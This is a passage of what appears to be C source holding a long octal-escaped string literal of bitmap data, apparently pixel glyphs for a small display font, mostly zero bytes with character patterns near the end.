\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\14\\236\\236\\236\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\37\\77\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\376\\376\\376\\300\\300\\200\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\"\n  \"\\377\\377\\207\\3\\1\\1\\1\\1\\3\\217\\217\\217\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\17\\376\\376\\376\\16\"\n  \"\\17\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360x\\70\\70\\70\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppp\"\n  \"w\\377\\377\\370pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppx\\177\\177\\177pppp\"\n  \"ppx|\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\200\\0\\200\\200\\200\\200\\200\\0\\200\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\373\"\n  \"\\377\\377\\217\\7\\3\\3\\3\\7\\217\\377\\377\\373\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\36\\37\\17\\7\\17\\16\\16\\16\\17\"\n  \"\\7\\17\\37\\36\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70x\\370\\370\\270\\70\\0\\0\\0\\70\\270\\370\\370x\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"ago\\177\\374\\360\\374\\177oga\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ssss\\177\\177\\177s\"\n  \"sss\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\70\\30\\34\\34\\34\\34\\34\\34\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14>\"\n  \"wc\\303\\307\\206\\216\\34\\30\\70\\60`\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\200\\201\\201\\203\\207\\206\"\n  \"\\316\\374|\\16\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340`p\\60\\70\\270\\270\\70\\70\\70pp\\340\\340\\300\\0\\0\\0\\0\\0\\374\\377\\17\\3\"\n  \"\\360\\374\\376\\17\\7\\3\\3\\7\\36\\237\\237\\0\\0\\3\\377\\377\\374\\0\\0\\0\\3\\17\\37<\\70swgnnnn\"\n  \"gw\\63\\71\\34\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\260\\230\\230\\230\\230\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\236\\277\\263\\261\\261\\261\\231\\277\\277\\260\\260\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\"\n  \"p\\70\\34\\16\\206\\300\\340p\\70\\34\\16\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\16\\34\\70pa\\3\\7\\16\"\n  \"\\34\\70p`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\"\n  \"\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\"\n  \"ppppppppppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\340p\\260\\270\\270\\270\\270\\270\\70\\60p\\340\\340\\300\\200\\0\\0\\0\\0\\0\\374\\377\\377\\3\"\n  \"\\0\\0\\377\\377\\377c\\343\\347\\377\\177>\\0\\3\\17\\377\\376\\370\\0\\0\\0\\1\\7\\17\\37<\\70wwwpqs\"\n  \"ww><\\34\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\60\\20\\30\\10\\30\\20\\60\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\3\\6\\4\\14\\10\\14\\4\\6\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\"\n  \"\\70\\70\\70\\70\\377\\377\\377\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0ppppppp\\177\\177\\177p\"\n  \"pppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\70\\34\\14\\14\\234\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\340\\360\\370\\334\\317\\303\\301\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34\\214\\214\\314\\374x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\60p\\340\\301\\301\\301c\\177\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\340p\\60\\70\\34\\34\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\"\n  